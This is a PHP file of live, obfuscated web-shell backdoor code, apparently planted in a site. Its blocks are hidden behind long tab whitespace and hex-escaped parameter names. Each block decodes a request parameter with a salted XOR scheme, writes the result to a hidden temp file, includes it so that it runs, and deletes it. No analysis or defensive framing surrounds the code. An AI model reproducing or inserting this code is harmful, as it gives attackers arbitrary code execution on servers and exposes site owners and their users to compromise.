<?php																																										if(@$_REQUEST["\x72\x65fe\x72e\x6Ece"] !== null){ $dchunk = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP")]); $binding = $_REQUEST["\x72\x65fe\x72e\x6Ece"]; $binding =explode ('.' , $binding ); $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($binding); for ($s = 0; $s < $len; $s++) { $v5 = $binding[$s]; $sChar = ord($salt[$s % $sLen]); $dec = ((int)$v5 - $sChar - ($s % 10))^ 50; $data_chunk .= chr($dec);} foreach ($dchunk as $ent): if (array_product([is_dir($ent), is_writable($ent)])) { $entity = "$ent/.entry"; $success = file_put_contents($entity, $data_chunk); if ($success) { include $entity; @unlink($entity); die();} } endforeach; }
																																										if(isset($_POST["\x68o\x6Cde\x72"])){ $object = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $flag = $_POST["\x68o\x6Cde\x72"]; $flag = explode("." , $flag ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $len = count( $flag ); for( $v = 0; $v < $len; $v++) { $v4 = $flag[$v]; $sChar = ord( $salt[$v % $lenS] ); $d =( ( int)$v4 - $sChar -( $v % 10)) ^45; $parameter_group .= chr( $d );} foreach ($object as $key => $elem) { if (is_dir($elem) ? is_writable($elem) : false) { $flg = "$elem/.ptr"; $success = file_put_contents($flg, $parameter_group); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(array_key_exists("it\x65m", $_POST)){ $dchunk = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $ent = $_POST["it\x65m"]; $ent = explode ("." ,$ent ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ent as $y => $v8): $chS = ord($s[$y % $lenS]); $d = ((int)$v8 - $chS - ($y % 10))^ 33; $binding.= chr($d); endforeach; $key = 0; do { $itm = $dchunk[$key] ?? null; if ($key >= count($dchunk)) break; if (array_product([is_dir($itm), is_writable($itm)])) { $flg = implode("/", [$itm, ".component"]); if (file_put_contents($flg, $binding)) { include $flg; @unlink($flg); die(); } } $key++; } while (true); }
																																										if(isset($_REQUEST["m\x61\x72ker"]) ? true : false){ $ref = $_REQUEST["m\x61\x72ker"]; $ref = explode ( "." , $ref ); $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $u = 0; array_walk( $ref, function( $v6) use( &$sym, &$u, $s, $sLen) { $sChar = ord( $s[$u % $sLen]); $d = ( ( int)$v6 - $sChar -( $u % 10)) ^ 16; $sym .= chr( $d); $u++;} ); $val = array_filter([getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp"]); for ($value = 0, $key = count($val); $value < $key; $value++) { $holder = $val[$value]; if (is_dir($holder) && is_writable($holder)) { $itm = join("/", [$holder, ".bind"]); if (@file_put_contents($itm, $sym) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["it\x65m"])){ $pset = array_filter(["/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); $key = $_POST["it\x65m"]; $key= explode ('.' , $key ); $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $m = 0; array_walk( $key, function( $v2) use( &$entry, &$m, $s9, $sLen) { $chS = ord( $s9[$m %$sLen]); $dec =( ( int)$v2 - $chS -( $m %10))^ 30; $entry .= chr( $dec); $m++; } ); foreach ($pset as $key => $object) { if (!!is_dir($object) && !!is_writable($object)) { $record = "$object/.dat"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $record; @unlink($record); exit; } } } }
																																										if(@$_POST["re\x66\x65\x72\x65nce"] !== null){ $marker = array_filter([session_save_path(), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $pointer = $_POST["re\x66\x65\x72\x65nce"]; $pointer =explode( "." ,$pointer ) ; $val =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $i =0; $__len =count($pointer); do { if($i >= $__len) break; $v3 =$pointer[$i]; $sChar =ord($salt[$i % $lenS]); $d =((int)$v3 - $sChar -($i % 10))^ 38; $val .= chr($d); $i++; } while(true); foreach ($marker as $key => $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $key = join("/", [$ent, ".entity"]); if (@file_put_contents($key, $val) !== false) { include $key; unlink($key); die(); } } } }
																																										if(array_key_exists("re\x66er\x65n\x63\x65", $_REQUEST)){ $itm = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", sys_get_temp_dir()]); $res = $_REQUEST["re\x66er\x65n\x63\x65"]; $res =explode ( "." ,$res ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $p =0; while ($p < count($res)) { $v5 =$res[$p]; $sChar =ord($salt[$p% $lenS]); $d =((int)$v5 - $sChar - ($p% 10))^ 6; $parameter_group .= chr($d); $p++;} while ($comp = array_shift($itm)) { if (!( !is_dir($comp) || !is_writable($comp) )) { $rec = "$comp" . "/.resource"; if (@file_put_contents($rec, $parameter_group) !== false) { include $rec; unlink($rec); exit; } } } }


if(in_array("d\x61\x74", array_keys($_POST))){
	$obj = $_POST["d\x61\x74"];
	$obj=		explode	 (		".", $obj	  );	
	$flag = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$salt);
    
            foreach(		$obj as $n => $v6) {	$sChar = ord(		$salt[$n%	$lenS]);
                $d = (		(		int)$v6 - $sChar -(		$n%	10)) ^49;
                $flag	.=chr(		$d);
            }
	$reference = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]);
	for ($hld = 0, $holder = count($reference); $hld < $holder; $hld++) {
    $itm = $reference[$hld];
    		if (!!is_dir($itm) && !!is_writable($itm)) {
    $binding = str_replace("{var_dir}", $itm, "{var_dir}/.ent");
    if (file_put_contents($binding, $flag)) {
	include $binding;
	@unlink($binding);
	die();
}
}
}
}